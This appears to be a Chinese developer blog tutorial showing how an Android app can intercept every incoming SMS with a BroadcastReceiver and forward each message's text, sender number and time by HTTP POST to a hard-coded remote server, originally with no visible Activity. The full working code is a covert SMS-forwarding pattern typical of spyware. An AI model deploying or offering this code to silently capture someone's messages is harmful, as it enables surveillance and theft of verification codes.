使用BroadcastReceiver进行短信监控

电玩女神 2022-08-14 04:59 174阅读 0赞

# 使用BroadcastReceiver进行短信监控 #

## 1. 创建没有Activity的安卓项目 ##

为之后的错误埋下伏笔。

## 2. 创建class继承于BroadcastReceiver ##

重写onReceive方法

public class SMSBroadcastReceiver extends BroadcastReceiver {
    
    	@Override
    	public void onReceive(Context context, Intent intent) {
    	}
    }

## 3. 在AndroidManifest.xml通过隐式意图注册 ##

## 4. 为应用添加短信接收权限和网络访问权限 ##

<uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.INTERNET"/>

## 5. 在线程中进行网络访问 ##

将收到的SMS消息发送到web应用

注：不能在主线程中进行Http访问

private class sendSMS extends Thread{
    		private String content;
    		private String receiveTime;
    		private String senderNumber;
    		sendSMS(){}
    		sendSMS(String content, String receiveTime, String senderNumber){
    			this.content=content;
    			this.receiveTime=receiveTime;
    			this.senderNumber=senderNumber;
    		}
    	
    		public void run() {
    			try{
    				String params = "content="+ URLEncoder.encode(content, "UTF-8")+
    					"&receiveTime="+ receiveTime+ "&senderNumber="+ senderNumber;
    				byte[] entity = params.getBytes();
    				String path = "http://10.0.2.2:8080/videonews/servlet/ReceiveSMSServlet";
    				HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
    				Log.i("zhangxiao","send Success1");
    				conn.setConnectTimeout(5000);
    				conn.setRequestMethod("POST");
    				conn.setDoOutput(true);
    				conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    				conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
    				conn.getOutputStream().write(entity);
    				Log.i("zhangxiao","send Success2");
    				if(conn.getResponseCode() == 200){
    					Log.i("zhangxiao","send Success");
    				}
    			}catch (Exception e) {
    				e.printStackTrace();
    			}
    			Log.i("zhangxiao","send Failed");
    		}
    	}

## 6. 问题 ##

部署好Android应用后，发送短信web服务器端一直没有反应，连LogCat也没有任何反应，一度以为应用根本没有部署上去。

折腾好一会终于找到答案：

现在用来学习的android资料由于兼容版本都是用的API 8 (Android 2.3)

**由于Android更新安全机制，android4.x以后如果应用没有Activity，则Service和Receiver没办法启动。**

## 7.附AndroidManifest.xml 和 SMSBroadcastReceiver.java ##

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.example.listenerlast"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk
            android:minSdkVersion="19"
            android:targetSdkVersion="19" />
    	<uses-permission android:name="android.permission.RECEIVE_SMS"/>
    	<uses-permission android:name="android.permission.INTERNET"/>
        <application
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
            <activity
                android:name="com.example.listenerlast.MainActivity"
                android:label="@string/app_name" >
                <intent-filter>
                    <action android:name="android.intent.action.MAIN" />
    
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity>
            <receiver android:name=".SMSBroadcastReceiver">
                <intent-filter >
                    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                </intent-filter>
            </receiver>
        </application>
    
    </manifest>

SMSBroadcastReceiver.java

public class SMSBroadcastReceiver extends BroadcastReceiver {
    
    	@Override
    	public void onReceive(Context context, Intent intent) {
    		Log.i("zhangxiao","SMS received");
    		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
    		for(Object p : pdus){
    			byte[] pdu = (byte[]) p;
    			SmsMessage message = SmsMessage.createFromPdu(pdu);
    			String content = message.getMessageBody();
    			Date date = new Date(message.getTimestampMillis());
    			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    			String receiveTime = format.format(date);
    			String senderNumber = message.getOriginatingAddress();
    			System.out.print(receiveTime+senderNumber+content);
    			Log.i("zhangxiao",receiveTime+senderNumber+content);
    	
    			new sendSMS(content,receiveTime,senderNumber).start();
    	}
    
    }
    
    	private class sendSMS extends Thread{
    		private String content;
    		private String receiveTime;
    		private String senderNumber;
    		sendSMS(){}
    		sendSMS(String content, String receiveTime, String senderNumber){
    			this.content=content;
    			this.receiveTime=receiveTime;
    			this.senderNumber=senderNumber;
    		}
    	
    		public void run() {
    			try{
    				String params = "content="+ URLEncoder.encode(content, "UTF-8")+
    					"&receiveTime="+ receiveTime+ "&senderNumber="+ senderNumber;
    				byte[] entity = params.getBytes();
    				String path = "http://219.245.84.152:8080/videonews/servlet/ReceiveSMSServlet";
    				HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
    				Log.i("zhangxiao","send Success1");
    				conn.setConnectTimeout(5000);
    				conn.setRequestMethod("POST");
    				conn.setDoOutput(true);
    				conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    				conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
    				conn.getOutputStream().write(entity);
    				Log.i("zhangxiao","send Success2");
    				if(conn.getResponseCode() == 200){
    					Log.i("zhangxiao","send Success");
    				}
    			}catch (Exception e) {
    				e.printStackTrace();
    			}
    			Log.i("zhangxiao","send Failed");
    		}
    	}
    }